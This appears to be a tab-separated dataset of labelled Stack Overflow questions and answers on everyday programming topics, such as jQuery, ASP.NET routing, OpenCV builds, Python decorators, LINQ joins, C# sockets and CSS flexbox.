19980418	0	 <p>This will return true for elements that are currently in the document, and selectors which match elements in the document.</p> <pre><code>function isInDoc(sel) { var $sel = jQuery(sel); return $sel.length &amp;&amp; jQuery.contains(document.documentElement, $sel[0]); } </code></pre>
573548	0	 <p>The only 'attack' you are addressing through email confirmation, is registering new accounts using random email addresses.</p> <p>IOW, if you leave that step out, an 'attacker' could:</p> <ol> <li>register accounts using just random gibberish addresses</li> <li>register accounts using other people's addresses</li> </ol> <p>Fortunately, in most applications, such an attack isn't very destructive. It may help the attacker forge someone else's identity in a social networking app, or make life <em>slightly</em> easier for a spambot, or it could be used just to annoy the legitimate owner of an email address -- but that's about it.</p> <p>I'd say keep the registration requirement just in case, but scrap the two-step process (let the users create username+password right away).</p>
38547098	0	 <p>I disabled Javascript and visited <a href="https://www.searchiqs.com/nybro/" rel="nofollow noreferrer">https://www.searchiqs.com/nybro/</a> and the form looks like this:</p> <p><a href="https://i.stack.imgur.com/U8GZf.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/U8GZf.png" alt="enter image description here"></a> </p> <p>As you can see the <em>Log In</em> and <em>Log In as Guest</em> buttons are disabled. This will make it impossible for Mechanize to work because it can not process Javascript and you won't be able to submit the form. </p> <p>For this kind of problems you can use Selenium, that will simulate a full Browser with the disadvantage of being slower than Mechanize.</p> <p>This code should log you in using Selenium:</p> <pre><code>from selenium import webdriver from selenium.webdriver.common.keys import Keys usr = "" pwd = "" driver = webdriver.Firefox() driver.get("https://www.searchiqs.com/nybro/") assert "IQS" in driver.title elem = driver.find_element_by_id("txtUserID") elem.send_keys(usr) elem = driver.find_element_by_id("txtPassword") elem.send_keys(pwd) elem.send_keys(Keys.RETURN) </code></pre>
39248920	0	missing parameter #2 in call error in CGRectIntersectsRect <p>I am writing a small game in swift, in which a boat has to go around obstacles. However, I keep getting this "missing argument for parameter #2 in call" error in CGRectInersectsRect. I have checked how to call it in the directory, and am calling it correctly. What is the issue with my code?. Here it is:</p> <pre><code> if (CGRectIntersectsRect(boat: CGRect, obstacleImageView: CGRect)) { endGame() } } </code></pre>
32072295	0	How work jquery ui tabs using option selected <p>Is there a way to use option selected as Tab selector in <a href="https://jqueryui.com/tabs/" rel="nofollow">Jquery ui tabs</a>. I use Javascript to make select options looks like standard tab selectors but couldn`t inject to jquery tabs to replace original HTML lists selectors.</p> <pre><code>&lt;div id="tabs"&gt; &lt;select class="feature-select"&gt; &lt;option rel="#tab-1" selected="" value=""&gt;Tab 1&lt;/option&gt; &lt;option rel="#tab-2" value=""&gt;Tab 2&lt;/option&gt; &lt;/select&gt; &lt;div id="tab-1"&gt; &lt;p&gt;Proin elit arcu, rutrum commodo, vehicula tempus, commodo a, risus. Curabitur nec arcu. Donec sollicitudin mi sit amet mauris. Nam elementum quam ullamcorper ante. Etiam aliquet massa et lorem. Mauris dapibus lacus auctor risus. Aenean tempor ullamcorper leo. Vivamus sed magna quis ligula eleifend adipiscing. Duis orci. Aliquam sodales tortor vitae ipsum. Aliquam nulla. Duis aliquam molestie erat. Ut et mauris vel pede varius sollicitudin. Sed ut dolor nec orci tincidunt interdum. Phasellus ipsum. Nunc tristique tempus lectus.&lt;/p&gt; &lt;/div&gt; &lt;div id="tab-2"&gt; &lt;p&gt;Proin elit arcu, rutrum commodo, vehicula tempus, commodo a, risus. Curabitur nec arcu. Donec sollicitudin mi sit amet mauris. Nam elementum quam ullamcorper ante. Etiam aliquet massa et lorem. Mauris dapibus lacus auctor risus. Aenean tempor ullamcorper leo. Vivamus sed magna quis ligula eleifend adipiscing. Duis orci. Aliquam sodales tortor vitae ipsum. Aliquam nulla. Duis aliquam molestie erat. Ut et mauris vel pede varius sollicitudin. Sed ut dolor nec orci tincidunt interdum. Phasellus ipsum. Nunc tristique tempus lectus.&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>JSFiddle: <a href="http://jsfiddle.net/0e2cxeL2/" rel="nofollow">http://jsfiddle.net/0e2cxeL2/</a></p>
4815002	0	ASP.NET 4 routing question <p>I am trying to do the following in my Global.asax file:</p> <p>At the moment i have to define my route like this:</p> <pre><code>routes.MapPageRoute( "ViewPage", "pages/{slug}", "~/viewpage.aspx", false ); </code></pre> <p>Notice the word pages before the <code>{slug}</code></p> <p>Now if i define it like this:</p> <pre><code>routes.MapPageRoute ( "ViewPage", "{slug}", "~/viewpage.aspx", false ); </code></pre> <p>It does not work.</p> <p>My CSS and JS files wont load, i get a 404.</p> <p>But, if i do this:</p> <pre><code>routes.MapPageRoute ( "ContactPage", "contact", "~/contact.aspx", false ); </code></pre> <p>It works fine??</p> <p>Basically i want my urls to look like this:</p> <p><code>example.com/contact</code> or <code>example.com/about-us</code> and it is all served dynamically from the database based on the {slug}.</p> <p>Can anyone help?</p>
34642083	0	Want to change the default wrapping behavior of char* in swig java <p>So there's this line in the swig documentation</p> <blockquote> <p>When <code>char *</code> members of a structure are wrapped, the contents are assumed to be dynamically allocated using malloc or new (depending on whether or not SWIG is run with the -c++ option). When the structure member is set, the old contents will be released and a new value created.</p> </blockquote> <p>I don't want the old contents to be released from memory because I'm using some sort of <code>char*</code> buffer, and I also need the default setter. I can use the <code>%ignore &lt;field&gt;</code> to overwrite the getter but then I'll lose the default setter. Can someone please help? Thanks.</p>
26378441	0	 <p>Try with this:</p> <pre><code>RAISERROR('your message here',16,1) </code></pre>
8079775	1	Is it possible to open a file in shared mode without changing the file handler? <p>In Python I open a temporary file for write by using <a href="http://docs.python.org/library/tempfile.html" rel="nofollow"><code>tempfile.mkstemp</code></a> in order to be sure that the file is destroyed when released (even if application crashes).</p> <p>Now I need to pass this file to another application but this application is not going to be able to open the file as long the file is opened for write.</p> <p>Can I change the access mode or reopen the file without changing the file handle in order to prevent it from being deleted too soon?</p> <p>Update: opening the file in read mode does not solve the problem, the file must be opened in <code>shared</code> mode.</p>
17311044	0	 <p>The true C99 way to do this is to have:</p> <pre><code>int f(int p[static 4]) { p[0] = 1; p[1] = 2; p[2] = 3; p[3] = 4; return c; } </code></pre> <p>The <code>static 4</code> inside the square brackets indicates to the compiler that the function expects an array of <em>at least</em> 4 elements. clang will issue a warning if it knows at compile-time that the value you are passing to <code>f</code> doesn't contain at least 4 elements. GCC may warn too but I don't use this compiler often.</p>
33155492	0	 <p>Here is a solution which I don't recommand but If you want to use <code>DbContext.Database</code>, here it is:</p> <pre><code>using(var db = new MyDbContext(connectionString)) { db.Database.ExecuteSqlCommand("CREATE PROCEDURE MyProcedure ... END;"); var command = "EXEC MyProcedure;"; IEnumerable&lt;Customer&gt; customers = db.Database.SqlQuery&lt;Customer&gt;(command, null); } </code></pre>
10429570	0	Can't install opencv from source <p>It's OpenCV-2.4.0</p> <pre><code>cd opencv mkdir release cd release cmake -D CMAKE_BUILD_TYPE=RELEASE -D CMAKE_INSTALL_PREFIX=/usr/local -D BUILD_PYTHON_SUPPORT=ON -D BUILD_EXAMPLES=ON .. make </code></pre> <p>Error:</p> <pre><code>In file included from OpenCV-2.4.0/modules/core/src/system.cpp:460: OpenCV-2.4.0/release/modules/core/version_string.inc:35:1: warning: missing terminating " character In file included from OpenCV-2.4.0/modules/core/src/system.cpp:460: OpenCV-2.4.0/release/modules/core/version_string.inc:35: error: missing terminating " character OpenCV-2.4.0/release/modules/core/version_string.inc:36:11: error: too many decimal points in number OpenCV-2.4.0/release/modules/core/version_string.inc:36:29: error: invalid suffix "st" on integer constant OpenCV-2.4.0/release/modules/core/version_string.inc:40:29: warning: character constant too long for its type OpenCV-2.4.0/release/modules/core/version_string.inc:57: error: stray ‘@’ in program OpenCV-2.4.0/release/modules/core/version_string.inc:57: error: stray ‘@’ in program OpenCV-2.4.0/release/modules/core/version_string.inc:68:10: error: #include expects "FILENAME" or &lt;FILENAME&gt; OpenCV-2.4.0/release/modules/core/version_string.inc:71: error: stray ‘\’ in program OpenCV-2.4.0/release/modules/core/version_string.inc:71:9: warning: missing terminating " character OpenCV-2.4.0/release/modules/core/version_string.inc:71: error: missing terminating " character OpenCV-2.4.0/release/modules/core/version_string.inc:74:23: warning: missing terminating " character OpenCV-2.4.0/release/modules/core/version_string.inc:1515: error: stray ‘\’ in program OpenCV-2.4.0/release/modules/core/version_string.inc:1515:4: warning: missing terminating " character OpenCV-2.4.0/release/modules/core/version_string.inc:1515: error: missing terminating " character OpenCV-2.4.0/release/modules/core/version_string.inc: In function ‘const std::string&amp; cv::getBuildInformation()’: OpenCV-2.4.0/release/modules/core/version_string.inc:36: error: expected ‘,’ or ‘;’ before ‘version’ OpenCV-2.4.0/release/modules/core/version_string.inc:138: error: ‘z_stream’ was not declared in this scope OpenCV-2.4.0/release/modules/core/version_string.inc:140: error: expected ‘;’ before ‘typedef’ OpenCV-2.4.0/release/modules/core/version_string.inc:161: error: ‘gz_header’ was not declared in this scope OpenCV-2.4.0/release/modules/core/version_string.inc:163: error: expected ‘;’ before ‘typedef’ OpenCV-2.4.0/release/modules/core/version_string.inc:1505: error: ‘ZEXTERN’ was not declared in this scope OpenCV-2.4.0/release/modules/core/version_string.inc:1505: error: expected ‘;’ before ‘const’ OpenCV-2.4.0/release/modules/core/version_string.inc:1511: warning: no return statement in function returning non-void OpenCV-2.4.0/release/modules/core/version_string.inc: At global scope: OpenCV-2.4.0/release/modules/core/version_string.inc:1515: error: expected unqualified-id before ‘)’ token OpenCV-2.4.0/modules/core/src/system.cpp:462: error: expected unqualified-id before ‘return’ OpenCV-2.4.0/modules/core/src/system.cpp:465: error: ‘string’ does not name a type OpenCV-2.4.0/modules/core/src/system.cpp:474: error: ‘string’ does not name a type OpenCV-2.4.0/modules/core/src/system.cpp:503: error: ISO C++ forbids declaration of ‘Exception’ with no type OpenCV-2.4.0/modules/core/src/system.cpp:503: error: expected ‘,’ or ‘...’ before ‘&amp;’ token OpenCV-2.4.0/modules/core/src/system.cpp: In function ‘void error(int)’: OpenCV-2.4.0/modules/core/src/system.cpp:506: error: ‘exc’ was not declared in this scope OpenCV-2.4.0/modules/core/src/system.cpp:510: error: ‘exc’ was not declared in this scope OpenCV-2.4.0/modules/core/src/system.cpp:526: error: ‘exc’ was not declared in this scope OpenCV-2.4.0/modules/core/src/system.cpp: At global scope: OpenCV-2.4.0/modules/core/src/system.cpp:543: error: expected declaration before ‘}’ token make[2]: *** [modules/core/CMakeFiles/opencv_core.dir/src/system.cpp.o] Error 1 make[1]: *** [modules/core/CMakeFiles/opencv_core.dir/all] Error 2 make: *** [all] Error 2 </code></pre> <p>What should i do?</p>
2031722	0	 <p>Check Alex's answer in order to understand python decorators; by the way:</p> <p>1) what aren't you understanding of decorators? Don't you understand decorators as a general concept, or Python decorators? Beware, the "classical" decorator pattern, java annotations and python decorators are different things.</p> <p>2) python decorators should always return a function, e.g. in your code the return value of param_checker([...]) should be a function that accepts a function as param (the func to be decorated), and returns a function with the same signature as my_decorated_function. Take a look at the following example; the decorator function is executed just once (when the class is created), while the decorated func is then executed at every call. In this specific example, it then invokes the original func, but that's not a requirement.</p> <pre><code>def decorator(orig_func): print orig_func def decorated(self, a): print "aahahah", orig_func(self, a) return decorated class Example(object): @decorator def do_example(self, a): return 2 * a m = Example() m.do_example(1) </code></pre> <p>3) you might not be doing the best thing in the way you're using decorators. They should usually be employed when there's some concept which is quite orthogonal to what you're actually programming, and can be reused around - it's essentially the Python way of doing AOP. Your param_checker might not be that orthogonal - if your decorator gets just used once, then it's probably not a good place to use a decorator at all. Your param_checker seems to be the case - it assumes that the decorated func takes a single arg which is a dictionary - are there many funcs in your code with such a signature and behaviour? If the answer is "no", just check for params at the begininng of the func and raise an exception if they're missing.</p>
37849726	0	 <p>Here is a working version</p> <p>Changes:</p> <ul> <li>Added <code>$dbname</code> to <code>mysqli_connect</code> function</li> <li>Added the backtick ` char between the table names, to avoid errors with reserved keyword from MySQL</li> <li>Changed mysql_ functions to mysqli_</li> <li>Close the file</li> <li>Close the connection</li> </ul> <p><a href="http://pastebin.com/B3jZ4wc9" rel="nofollow">Here</a> is the code</p> <p><strong>NOTE:</strong> sorry I don't why, but when I pasted the code in the answer, all de code identation was messed up, even trying to indent it properly, I wasted like 10 minutes :(</p>
13172514	0	 <p>You can call <a href="http://en.cppreference.com/w/cpp/string/basic_string/find"><code>std::string::find</code></a> in a loop and the use <a href="http://en.cppreference.com/w/cpp/string/basic_string/substr"><code>std::string::substr</code></a>.</p> <pre><code>std::vector&lt;std::string&gt; split_string(const std::string&amp; str, const std::string&amp; delimiter) { std::vector&lt;std::string&gt; strings; std::string::size_type pos = 0; std::string::size_type prev = 0; while ((pos = str.find(delimiter, prev)) != std::string::npos) { strings.push_back(str.substr(prev, pos - prev)); prev = pos + 1; } // To get the last substring (or only, if delimiter is not found) strings.push_back(str.substr(prev)); return strings; } </code></pre> <p>See example <a href="http://ideone.com/UHWNQW">here</a>.</p>
18256026	0	PhantomJS exited unexpectedly with exit code -1073741819 <p>I run a bunch of Jasmine specs with PhantomJS (via Grunt) on a Windows 7 PC, and I happen to get the following error:</p> <pre><code>Testing jasmine specs via phantom ...... Running PhantomJS...ERROR &gt;&gt; 0 [ '' ] Warning: PhantomJS exited unexpectedly with exit code -1073741819. Use --force to continue. Aborted due to warnings. </code></pre> <p>The error does not appear if I delete a bunch of tests; however I have no idea what causes the error. </p> <p>What I also find strange, it that it only occurs now and then.</p> <p>Any idea why this happens?</p>
6032228	0	CurrencyManager alternative in vb.NET? <p>I am developing a VB.NET application in which I use a DataGrid; I can't use the newer DataGridView due to version. But now when I try to compile this, I get the error:</p> <blockquote> <p>BC30002: Type 'CurrencyManager' is not defined.</p> </blockquote> <p>It errors on line:</p> <blockquote> <p>Dim CM As New CurrencyManager(dgTable.BindingContext)</p> </blockquote> <p>What can I replace this line with? I have read on the internet that since my application should be web-based, I cannot use the Windows namespace. I think what I am asking for is a pretty simple solution, but I am a very new VB programmer. More of my code below.</p> <p>Global.vb file:</p> <pre><code>Imports System.Data Imports System.Data.OLEDB Imports System.Web Imports System.Math Imports system.data.SqlClient Imports System.Windows.Forms Imports System.Windows.Forms.CurrencyManager Namespace GlobalFunctions Public Class GlobalF Public Shared Function GlobalF_Load(ByVal dgTable As DataGrid) Dim dv As New DataView Dim ds As New DataSet Dim CM As New CurrencyManager(dgTable.BindingContext) dv = New DataView(ds.Tables(0)) dgTable.DataSource = dv dv.Sort = "Part No." 'CM = (System.Windows.Forms.CurrencyManager) dgTable.BindingContext([dv]) Dim sender As New sender() dv.ListChanged += New ListChangedEventHandler(dv_ListChangedEvent) End Function Public Shared Function btnFind_Click(ByVal sender As Object, ByVal e As EventArgs) If (txtFind.Text = "") Then Response.write("Enter some criteria to find.") txtFind.Focus() Else Dim i As Int i = dv.Find(txtFind.Text) If (i &gt; dv.Table.Rows.Count Or i &lt; 0) Then Response.Write("Record Not found") Else CM.Position = i End If End If End Function Private Shared Function dv_ListChangedEvent(ByVal sender As Object, ByVal e As ListChangedEventArgs) Handles btnFind.ListChanged If (dv.Sort.Substring((dv.Sort.Length - 4), 4) = "DESC") Then lblFind.Text = "Enter Search Criteria " + dv.Sort.Substring(0, dv.Sort.Length - 5) Else lblFind.Text = "Enter Search Criteria " + dv.Sort End If End Function </code></pre> <p>and my ASPX file:</p> <p>Public DSTableData As New System.Data.DataSet Public dv As New DataView</p> <pre><code> Sub Main() '------------------------- Query database and get arrays for the chart and bind query results to datagrid ---------------------------------------- If check1.Checked Then DSTableData = GlobalFunctions.GlobalF.FillSparePartsTable(1) Else DSTableData = GlobalFunctions.GlobalF.FillSparePartsTable(0) End If 'dv = DataView(DSTableData(0)) dgTable.DataSource = DSTableData dgTable.DataBind() GlobalFunctions.GlobalF.GlobalF_Load(dgTable) End Sub </code></pre>
7133517	0	 <p>Please check out my edit. If you <a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/JSON/stringify" rel="nofollow"><strong>JSON.stringify</strong></a> your object, then your code will work as you expect.</p> <pre><code>var gmarkers = {key: 'value'}; var ss = document.createElement('script'); var scr = "function caller(){ alert("+JSON.stringify(gmarkers)+") ;}"; //alert(scr); var tt1 = document.createTextNode(scr); ss1.appendChild(tt1); var hh1 = document.getElementsByTagName('head')[0]; hh1.appendChild(ss1); caller() var tt = document.createTextNode(scr); ss.appendChild(tt); var hh = document.getElementsByTagName('head')[0]; hh.appendChild(ss); caller(); </code></pre>
38352894	0	android volume gain AudioTrack DatagramPacket <p>I need help to apply a volume gain on audio stream to increase the volume output of device.</p> <p>Here is some code of my app:</p> <pre><code>private static final int SAMPLE_RATE = 8000; // Hertz private static final int BUF_SIZE = 372; //Bytes </code></pre> <p>...</p> <pre><code>AudioTrack track = new AudioTrack(AudioManager.STREAM_MUSIC, SAMPLE_RATE, AudioFormat.CHANNEL_OUT_MONO, AudioFormat.ENCODING_PCM_16BIT, BUF_SIZE, AudioTrack.MODE_STREAM); </code></pre> <p>...</p> <pre><code>DatagramPacket packet = new DatagramPacket(buf, BUF_SIZE); socket.receive(packet); </code></pre> <p>...</p> <pre><code>track.write(packet.getData(), 0, packet.getLength()); </code></pre> <p>Someone can help me?</p> <p>Thanks in advance.</p>
2344652	0	 <p>Do it in the <code>Session_Start</code> method in your <a href="http://msdn.microsoft.com/en-us/library/2027ewzw.aspx" rel="nofollow noreferrer">Global.asax</a> like so...</p> <pre><code>protected void Session_Start(object sender, EventArgs e) { Session["AttemptCount"]=new Hashtable(); } </code></pre> <p><strong>Update:</strong></p> <p>Then simply just do a check to see if the session variable exists, if it doesn't only then create the variable. You could stick it in a property to make things cleaner like so...</p> <pre><code>public Hashtable AttemptCount { get { if (Session["AttemptCount"] == null) Session["AttemptCount"]=new Hashtable(); return Session["AttemptCount"]; } } </code></pre> <p>And then you could just call on the property <code>AttemptCount</code> wherever you need like so...</p> <pre><code>public void doEvent(object sender, EventArgs e) { AttemptCount.Add("Key1", "Value1"); } </code></pre>
22700203	1	Python: default argument values vs global variables <p>I saw this default values usage in the Python's <a href="http://hg.python.org/cpython/file/2.7/Lib/Queue.py" rel="nofollow">Queue</a> module:</p> <pre><code>def _put(self, item, heappush=heapq.heappush): heappush(self.queue, item) def _get(self, heappop=heapq.heappop): return heappop(self.queue) </code></pre> <p>I wonder why the variables are used as function arguments here? Is it just a matter of taste or some kind of optimization?</p>
40006652	1	Passing an array where single value is expected? <p>I am trying to implement simple optimization problem in Python. I am currently struggling with the following error:</p> <p><strong>Value Error</strong>: The truth value of an array with more than one element is ambiguous. Use a.any() or a.all()</p> <p>As far as I understand, this means that I am somewhere trying to plug in an array where only single value can be accepted. Nevertheless, I haven't managed to come up with a solution, nor have I discovered where is the problem.</p> <p>My code follows</p> <pre><code>def validationCurve(X, y, Xval, yval): #[lmbda_vec, error_train, error_val] = # VALIDATIONCURVE(X, y, Xval, yval) returns the train and # validation errors (in error_train, error_val) for different # values of lmbda. Given the training set (X,y) and validation # set (Xval, yval). lmbda_vec = [0, 0.001, 0.003, 0.01, 0.03, 0.1, 0.3, 1]; m = len(y); X = numpy.concatenate((numpy.ones((m,1)), X), axis = 1); n = len(Xval); Xval = numpy.concatenate((numpy.ones((n,1)), Xval), axis = 1); error_train = numpy.zeros((len(lmbda_vec), 1)); error_val = numpy.zeros((len(lmbda_vec), 1)); for i in range(0,len(lmbda_vec)): lmbda = lmbda_vec[i]; theta = trainLinearReg(X, y, lmbda); error_train[i] = linearRegCostFunction(X, y, theta, lmbda); error_val[i] = linearRegCostFunction(Xval, yval, theta, lmbda); return lmbda_vec, error_train, error_val def trainLinearReg(X, y, lmbda): #[theta] = TRAINLINEARREG (X, y, lmbda) trains linear # regression usingthe dataset (X, y) and regularization # parameter lmbda. Returns the trained parameters theta. alpha = 1 # learning rate num_iters = 200 # number of iterations initial_theta = (numpy.zeros((len(X[0,:]),1))) #initial guess #Create "short hand" for the cost function to be minimized costFunction = lambda t: linearRegCostFunction(X, y, t, lmbda); #Minimize using Conjugate Gradient theta = minimize(costFunction, initial_theta, method = 'Newton-CG', jac = True, options = {'maxiter': 200}) return theta def linearRegCostFunction(X, y, theta, lmbda): # [J, grad] = LINEARREGCOSTFUNCTION(X, y, theta, lmbda) # computes the cost of using theta as the parameter for # linear regression to fit the data points in X and y. # Returns the cost in J and the gradient in grad. # Initialize some useful values m, n = X.shape; # number of training examples J = 0; grad = numpy.zeros((n ,1)) J = numpy.dot((y- X @ theta).T, (y-X @ theta)) + lmbda*(theta[1:].T @ theta[1:]) J = J/m grad = (X.T @ (y - X @ theta))/m grad [1:] += (lmbda*theta[1:])/m grad = grad[:]; return grad </code></pre> <p>I am trying to obtain an optimal regularization parameter by computing cost function and minimizing with respect to theta. My input values are:</p> <pre><code>X.shape = (100,25), y.shape = (100,1) Xval.shape = (55,25), yval.shape = (55,1) </code></pre> <p>Outputted errors are:</p> <pre><code> --&gt; 129 lmbda_vec , error_train, error_val = validationCurve(Xtrain, ytrain, Xva lid, yvalid ) ---&gt; 33 theta = trainLinearReg(X, y, lmbda); ---&gt; 49 theta = minimize(costFunction, initial_theta, method = 'Newton-CG', jac = True, options = {'maxiter': 200}) </code></pre> <p>Later I won't to use the optimized model to predict y on new X. <strong>Could you please advice me where is the problem in my code?</strong></p> <p>Also, if you observe any points for improvement in my code, please let me know. I will be glad to hear and improve.</p> <p>Thank you!</p>
40780572	0	mouseup event not firing on object tag in mac firefox <p>I have binded the mouseup event after mousedown. It works fine on all tags and browsers, but in mac firefox it behaves ambiguously. mouseup event is not firing over object tag on mac firefox but it works on firefox on windows. It want to stop dragging this object on mouseup but it keeps on dragging.I also used mouseleave but it was also not working.</p>
16806480	0	 <p>For the second button add</p> <pre><code>android:id="@+id/button2" </code></pre> <p>and change</p> <pre><code>android:layout_alignLeft="@+id/button1" </code></pre> <p>to</p> <pre><code>android:layout_alignLeft="@id/button1" </code></pre> <p>Change your layout as follow:</p> <pre><code>&lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="start" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context=".MainActivity" &gt; &lt;TextView android:id="@+id/textView1" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_centerHorizontal="true" android:text="your total is 0" android:textSize="65sp" /&gt; &lt;Button android:id="@+id/button1" android:layout_width="100sp" android:layout_height="wrap_content" android:layout_alignLeft="@+id/textView1" android:layout_below="@+id/textView1" android:layout_gravity="center" android:text="add" /&gt; &lt;Button android:id="@+id/button2" android:layout_width="100sp" android:layout_height="wrap_content" android:layout_alignLeft="@id/button1" android:layout_below="@+id/textView1" android:layout_marginLeft="117dp" android:text="subtract" /&gt; &lt;/RelativeLayout&gt; </code></pre>
15284884	0	How to access the local project file using java.nio.file.Path? <p>I am new to java.nio world.</p> <p>I have a log file app.log inside my Java module. (I am using Intellij 11).</p> <p>In a module, i have test folder, i have a local file app.jar.</p> <p>I want to read this file into InputStream using Files.newInputStream(path) method.</p> <p>The problem is that in windows, i have to give complete value for input path as,</p> <pre><code>Path path = Paths.get("C:\\Perforce\\depot\\Project\\module\\src\\test\\a\\b\\c\\app.jar"); </code></pre> <p>I am not sure if somebody gets this code and has similar folder structure on their machine to access app.jar</p> <p>I have kept the file app.jar in local folder where my test is written. Is there a way through which i can generalize this Path? if my Test class is under the same folder where app.jar is residing, is there any mechanism to avoid mentioning the complete local path?</p> <p>Thanks, Vijay Bhore</p>
10275468	0	 <p>Basically you're trying to change the property value during DataBinding. The problem is that WPF tries to be smart and not listen on property changes raised during DataBinding. This is a well know problem with numerous workarounds: </p> <ul> <li><a href="http://stackoverflow.com/questions/857116/change-value-in-setter-property-when-using-wpf-two-way-databinding">Change value in setter property when using WPF two-way databinding</a></li> <li><a href="http://www.lhotka.net/weblog/DataBindingIssueInWPFWithSolution.aspx" rel="nofollow noreferrer">Data binding issue in WPF: with solution</a></li> </ul> <p>Although MS made some fixes in WPF4.0 see: <a href="http://karlshifflett.wordpress.com/2009/05/27/wpf-4-0-data-binding-change-great-feature/" rel="nofollow noreferrer">WPF 4.0 Data Binding Change (great feature)</a> </p> <p>But I did some quick testing and none of them is working in your case because of the <code>UpdateSourceTrigger=PropertyChanged</code>.</p> <p>However I can came up a very dirt workaround which is "works":</p> <pre><code>public decimal Col1 { get { return _Col1; } set { //Change the property value based on condition _Col1 = value &gt; 100 ? 100 : value; UpdateSum(); //HACK: Simulate that the property change not fired from the setter Dispatcher.CurrentDispatcher .BeginInvoke(new Action(() =&gt; NotifyPropertyChanged("Col1"))); //HACK: Cancel the bindig based on condition if (value &gt; 100) throw new Exception(); } } </code></pre> <p>See it action:</p> <p><img src="https://i.stack.imgur.com/EFhQZ.png" alt="enter image description here"></p> <p>Notice: after typing the third 5 the cursor moves the the beginning of the TextBox and it remains there if you type the next 5.</p> <p>I don't think that the above mention code should be the solution, I've just played a bit. I think you should go with <code>UpdateSourceTrigger=LostFocus</code> and do the binding manually from the textbox <code>TextChanged</code> event... But I'm afraid there is no clean solution for your problem.</p>
31500034	0	c# socket send file <p>im trying to use the <code>SendFile</code> method <a href="https://msdn.microsoft.com/en-us/library/sx0a40c2(v=vs.110).aspx" rel="nofollow">https://msdn.microsoft.com/en-us/library/sx0a40c2(v=vs.110).aspx</a></p> <pre><code> TcpClient client; private void Form1_Load(object sender, EventArgs e) { client = new TcpClient(); client.Connect("10.0.0.1", 10); string fileName = @"C:\Users\itapi\Desktop\da.jpg"; Console.WriteLine("Sending {0} to the host.", fileName); client.Client.SendFile(fileName); } </code></pre> <p>server code:</p> <pre><code> TcpListener listener; TcpClient cl; private void Form1_Load(object sender, EventArgs e) { listener = new TcpListener(IPAddress.Any, 10); listener.Start(); cl = listener.AcceptTcpClient(); } </code></pre> <p>my question is: how i am supposed to get the file in the other side? i dont want to use networkstream only pure socket. any help would be apperciated</p>
1580199	0	Linq to Sql - Populate JOIN result into a List <p>I am not sure if this can be done, but here's the scenario.</p> <p>I want to turn this sql into linq:</p> <pre><code>SELECT * FROM Department d INNER JOIN Employee e ON e.DepartmentID = d.DepartmentID </code></pre> <p>Department - Employee is 1 to many relationship.</p> <p>I have created a custom object that I would like to populate the result into. </p> <pre><code>public class DepartmentSummary { public Department Department { get; set; } public List&lt;Employee&gt; Employees {get; set;} } </code></pre> <p>The Linq I came up with is </p> <pre><code>var result = from d in dba.Department join e in dba.Employee d.DepartmentID equals e.DepartmentID into j1 select new DepartmentSummary { Department = d, Employees = j1.ToList() }; </code></pre> <p>I tried it out and it's not working. Can anyone shed some light for me please? I would like to perform an inner join between Department and Employee. For each Department in the resultset, I would like to create one DepartmentSummary object which holds that department and a list of employees belonging to that department.</p> <p>Does Linq provides an ad hoc solution for this or must I iterates through the result set and create a list of DepartmentSummary manually?</p> <p>Thanks,</p> <p>EDIT: Looks like this works for me</p> <pre><code>var result = from d in dba.Department join e in dba.Employee d.DepartmentID equals e.DepartmentID into j1 where j1.Count() &gt; 0 select new DepartmentSummary { Department = d, Employees = j1.ToList() }; </code></pre>
3637416	0	 <p>Is this some kind of weird code-golf?</p> <p>Try this, it might work...</p> <pre><code>dpcom.library = function(name, func) { var p = name.split('.'), e, root = this; while (e = p.shift()) root = root[e] = root[e] || (!p.length ? func : {}); } </code></pre>
3485308	0	 <p>mate... make the searchable columns into "fulltext" colums and then do</p> <p><code>SELECT * FROM books WHERE MATCH(fulltext_column) AGAINST('animal book a')</code></p> <p>best way. :) see <a href="http://devzone.zend.com/article/1304" rel="nofollow noreferrer">http://devzone.zend.com/article/1304</a></p>
838689	0	 <p>DataGrids represent actual DataItems.</p> <pre><code>DataGrid dg = new DataGrid(); dg.Items.Count; //Number of Items...i.e. Rows; dg.Items[0].Cells.Count; //Number of columns for that Items </code></pre>
3442440	0	 <p>login to <a href="http://developer.apple.com" rel="nofollow noreferrer">the iphone developer portal</a> all the certificates/profiles can be found there or if in need be regenerated</p>
6049179	0	how to pass data from json to a php function? <pre><code>[registration] =&gt; Array ( [first_name] =&gt; test [location] =&gt; Array ( [name] =&gt; Santa Ana [id] =&gt; 1.08081209215E+14 ) [gender] =&gt; female [password] =&gt; 123654789 ) </code></pre> <p>and i need to insert that data into a database by using:</p> <pre><code>$carray = fns_create_talent($login, $pass, $gender, $name); </code></pre> <p>any idea on how to get them from a place to another?</p> <p>i was thinking that i need to assign the array values to the post vars. maybe:</p> <pre><code>$login = registration.first_name... </code></pre> <p>any ideas? thanks</p>
40846559	0	 <p>You have flex-basis on content as 100%</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>html, body { height: 100%; margin: 0 } .box { display: flex; flex-flow: column; height: 100%; } .box .row { border: 1px dotted grey; } .box .row.header { flex: 0 1 auto; /* The above is shorthand for: flex-grow: 0, flex-shrink: 1, flex-basis: auto */ } .box .row.content { flex: 1 1 100%; background-color: yellow; } .box .row.footer { flex: 0 1 40px; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="box"&gt; &lt;div class="row header"&gt; &lt;p&gt;&lt;b&gt;header&lt;/b&gt; &lt;br /&gt; &lt;br /&gt;(sized to content)&lt;/p&gt; &lt;/div&gt; &lt;div class="row content"&gt; &lt;div style="height:100%; width:90%; background-color:red;"&gt; Should fill the remaining space &lt;/div&gt; &lt;/div&gt; &lt;div class="row footer"&gt; &lt;p&gt;&lt;b&gt;footer&lt;/b&gt; (fixed height)&lt;/p&gt; &lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>Hope it helps</p>
